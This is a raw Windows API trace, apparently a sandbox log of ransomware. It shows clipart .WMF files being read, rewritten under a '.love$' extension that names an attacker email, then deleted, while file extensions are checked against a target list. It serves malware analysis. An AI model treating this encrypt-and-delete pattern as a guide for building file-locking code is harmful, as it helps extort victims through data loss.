12 [0228.316] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04267_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0228.770] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=7804) returned 1 [0228.770] CloseHandle (hObject=0x45c) returned 1 [0228.770] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04267_.wmf")) returned 0x220 [0228.907] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04267_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0229.036] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04267_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0229.386] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0229.386] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0229.386] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04267_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0229.387] GetLastError () returned 0x0 [0229.387] ReadFile (in: hFile=0x388, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x1e7c, lpOverlapped=0x0) returned 1 [0229.393] WriteFile (in: hFile=0x458, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0x1e80, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0x1e80, lpOverlapped=0x0) returned 1 [0229.405] ReadFile (in: hFile=0x388, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0229.405] WriteFile (in: hFile=0x458, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0229.405] SetEndOfFile (hFile=0x458) returned 1 [0229.405] CloseHandle (hObject=0x458) returned 1 [0229.417] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0229.417] SetEndOfFile (hFile=0x388) returned 1 [0229.472] CloseHandle (hObject=0x388) returned 1 [0229.472] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0229.480] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04267_.wmf")) returned 1 [0229.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0229.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0229.481] lstrlenW (lpString=".doc") returned 4 [0229.481] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0229.481] lstrlenW (lpString=".docx") returned 5 [0229.481] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0229.481] lstrlenW (lpString=".pdf") returned 4 [0229.481] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0229.481] lstrlenW (lpString=".xls") returned 4 [0229.481] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0229.481] lstrlenW (lpString=".xlsx") returned 5 [0229.481] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0229.481] lstrlenW (lpString=".ppt") returned 4 [0229.481] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0229.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0229.481] lstrlenW (lpString=".zip") returned 4 [0229.481] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0229.482] lstrlenW (lpString=".rar") returned 4 [0229.482] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0229.482] lstrlenW (lpString=".bz2") returned 4 [0229.482] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0229.482] lstrlenW (lpString=".7z") returned 3 [0229.482] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0229.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0229.482] lstrlenW (lpString=".dbf") returned 4 [0229.482] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0229.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0229.482] lstrlenW (lpString=".1cd") returned 4 [0229.482] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0229.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0229.482] lstrlenW (lpString=".jpg") returned 4 [0229.482] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0229.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0229.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0229.482] lstrlenW (lpString=".doc") returned 4 [0229.482] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0229.482] lstrlenW (lpString=".docx") returned 5 [0229.482] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0229.482] lstrlenW (lpString=".pdf") returned 4 [0229.482] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0229.482] lstrlenW (lpString=".xls") returned 4 [0229.482] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0229.482] lstrlenW (lpString=".xlsx") returned 5 [0229.482] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0229.482] lstrlenW (lpString=".ppt") returned 4 [0229.482] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0229.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0229.483] lstrlenW (lpString=".zip") returned 4 [0229.483] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0229.483] lstrlenW (lpString=".rar") returned 4 [0229.483] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0229.483] lstrlenW (lpString=".bz2") returned 4 [0229.483] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0229.483] lstrlenW (lpString=".7z") returned 3 [0229.483] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0229.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0229.483] lstrlenW (lpString=".dbf") returned 4 [0229.483] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0229.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0229.483] lstrlenW (lpString=".1cd") returned 4 [0229.483] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0229.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0229.483] lstrlenW (lpString=".jpg") returned 4 [0229.483] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0229.483] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0229.483] lstrlenW (lpString="AN04369_.WMF") returned 12 [0229.483] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04369_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x424 [0229.486] GetFileSizeEx (in: hFile=0x424, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=4808) returned 1 [0229.486] CloseHandle (hObject=0x424) returned 1 [0229.486] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04369_.wmf")) returned 0x220 [0229.487] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04369_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0229.487] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04369_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x424 [0229.487] SetFilePointerEx (in: hFile=0x424, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0229.487] SetFilePointerEx (in: hFile=0x424, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0229.487] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04369_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0229.496] GetLastError () returned 0x0 [0229.496] ReadFile (in: hFile=0x424, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x12c8, lpOverlapped=0x0) returned 1 [0229.498] WriteFile (in: hFile=0x388, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0x12d0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0x12d0, lpOverlapped=0x0) returned 1 [0229.500] ReadFile (in: hFile=0x424, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0229.500] WriteFile (in: hFile=0x388, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0229.500] SetEndOfFile (hFile=0x388) returned 1 [0229.500] CloseHandle (hObject=0x388) returned 1 [0229.502] SetFilePointerEx (in: hFile=0x424, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0229.502] SetEndOfFile (hFile=0x424) returned 1 [0229.505] CloseHandle (hObject=0x424) returned 1 [0229.505] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0229.506] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04369_.wmf")) returned 1 [0229.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0229.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0229.506] lstrlenW (lpString=".doc") returned 4 [0229.507] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0229.507] lstrlenW (lpString=".docx") returned 5 [0229.507] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0229.507] lstrlenW (lpString=".pdf") returned 4 [0229.507] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0229.507] lstrlenW (lpString=".xls") returned 4 [0229.507] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0229.507] lstrlenW (lpString=".xlsx") returned 5 [0229.507] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0229.507] lstrlenW (lpString=".ppt") returned 4 [0229.507] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0229.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0229.507] lstrlenW (lpString=".zip") returned 4 [0229.507] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0229.507] lstrlenW (lpString=".rar") returned 4 [0229.507] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0229.507] lstrlenW (lpString=".bz2") returned 4 [0229.507] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0229.507] lstrlenW (lpString=".7z") returned 3 [0229.507] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0229.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0229.507] lstrlenW (lpString=".dbf") returned 4 [0229.507] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0229.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0229.507] lstrlenW (lpString=".1cd") returned 4 [0229.507] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0229.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0229.507] lstrlenW (lpString=".jpg") returned 4 [0229.507] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0229.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0229.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0229.699] lstrlenW (lpString=".doc") returned 4 [0229.700] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0229.700] lstrlenW (lpString=".docx") returned 5 [0229.700] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0229.700] lstrlenW (lpString=".pdf") returned 4 [0229.700] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0229.700] lstrlenW (lpString=".xls") returned 4 [0229.700] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0229.700] lstrlenW (lpString=".xlsx") returned 5 [0229.700] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0229.700] lstrlenW (lpString=".ppt") returned 4 [0229.700] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0229.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0229.700] lstrlenW (lpString=".zip") returned 4 [0229.700] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0229.700] lstrlenW (lpString=".rar") returned 4 [0229.700] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0229.700] lstrlenW (lpString=".bz2") returned 4 [0229.700] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0229.701] lstrlenW (lpString=".7z") returned 3 [0229.701] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0229.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0229.701] lstrlenW (lpString=".dbf") returned 4 [0229.701] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0229.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0229.701] lstrlenW (lpString=".1cd") returned 4 [0229.701] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0229.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0229.701] lstrlenW (lpString=".jpg") returned 4 [0229.701] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0229.701] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0229.702] lstrlenW (lpString="BD00146_.WMF") returned 12 [0229.702] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00146_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0229.707] GetFileSizeEx (in: hFile=0x458, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=28948) returned 1 [0229.707] CloseHandle (hObject=0x458) returned 1 [0229.708] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00146_.wmf")) returned 0x220 [0229.708] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00146_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0229.709] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00146_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0229.710] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0229.710] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0229.710] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00146_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x460 [0229.711] GetLastError () returned 0x0 [0229.711] ReadFile (in: hFile=0x458, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x7114, lpOverlapped=0x0) returned 1 [0229.765] WriteFile (in: hFile=0x460, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0x7120, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0x7120, lpOverlapped=0x0) returned 1 [0229.767] ReadFile (in: hFile=0x458, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0229.767] WriteFile (in: hFile=0x460, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0229.767] SetEndOfFile (hFile=0x460) returned 1 [0229.770] CloseHandle (hObject=0x460) returned 1 [0229.777] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0229.777] SetEndOfFile (hFile=0x458) returned 1 [0229.785] CloseHandle (hObject=0x458) returned 1 [0229.788] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0229.794] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00146_.wmf")) returned 1 [0229.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0229.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0229.795] lstrlenW (lpString=".doc") returned 4 [0229.795] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0229.795] lstrlenW (lpString=".docx") returned 5 [0229.795] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0229.795] lstrlenW (lpString=".pdf") returned 4 [0229.795] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0229.795] lstrlenW (lpString=".xls") returned 4 [0229.795] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0229.795] lstrlenW (lpString=".xlsx") returned 5 [0229.795] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0229.795] lstrlenW (lpString=".ppt") returned 4 [0229.795] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0229.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0229.795] lstrlenW (lpString=".zip") returned 4 [0229.795] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0229.795] lstrlenW (lpString=".rar") returned 4 [0229.795] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0229.795] lstrlenW (lpString=".bz2") returned 4 [0229.795] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0229.795] lstrlenW (lpString=".7z") returned 3 [0229.795] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0229.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0229.795] lstrlenW (lpString=".dbf") returned 4 [0229.796] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0229.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0229.796] lstrlenW (lpString=".1cd") returned 4 [0229.796] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0229.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0229.796] lstrlenW (lpString=".jpg") returned 4 [0229.796] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0229.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0229.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0229.796] lstrlenW (lpString=".doc") returned 4 [0229.796] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0229.796] lstrlenW (lpString=".docx") returned 5 [0229.796] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0229.796] lstrlenW (lpString=".pdf") returned 4 [0229.796] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0229.796] lstrlenW (lpString=".xls") returned 4 [0229.796] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0229.796] lstrlenW (lpString=".xlsx") returned 5 [0229.796] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0229.796] lstrlenW (lpString=".ppt") returned 4 [0229.796] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0229.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0229.796] lstrlenW (lpString=".zip") returned 4 [0229.796] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0229.797] lstrlenW (lpString=".rar") returned 4 [0229.797] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0229.797] lstrlenW (lpString=".bz2") returned 4 [0229.797] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0229.797] lstrlenW (lpString=".7z") returned 3 [0229.797] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0229.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0229.797] lstrlenW (lpString=".dbf") returned 4 [0229.797] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0229.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0229.797] lstrlenW (lpString=".1cd") returned 4 [0229.797] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0229.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0229.797] lstrlenW (lpString=".jpg") returned 4 [0229.797] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0229.797] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0229.797] lstrlenW (lpString="BD00160_.WMF") returned 12 [0229.797] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00160_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0229.798] GetFileSizeEx (in: hFile=0x458, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=22516) returned 1 [0229.798] CloseHandle (hObject=0x458) returned 1 